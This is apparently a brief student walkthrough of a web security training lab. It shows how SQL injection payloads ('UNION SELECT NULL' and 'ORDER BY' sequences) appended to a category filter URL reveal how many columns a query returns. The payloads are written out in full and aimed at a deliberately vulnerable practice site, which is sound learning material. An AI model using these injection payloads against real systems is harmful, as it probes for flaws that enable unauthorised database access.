Lab: SQL injection UNION attack, determining the number of columns returned by the query
try
' UNION SELECT NULL,NULL,NULL--
NO error
https://aced1fd11e19ddd4c1dd57e100510060.web-security-academy.net/filter?category=Lifestyle
' UNION SELECT NULL, NULL, NULL--
if you added a fourth null the error will appear.
try
' ORDER BY 3--
No error when you will change it to 4 there will be an error
https://aced1fd11e19ddd4c1dd57e100510060.web-security-academy.net/filter?category=Lifestyle
' ORDER BY 3--
PreviousLab: SQL injection vulnerability allowing login bypassNextLab: SQL injection UNION attack, finding a column containing text
Last updated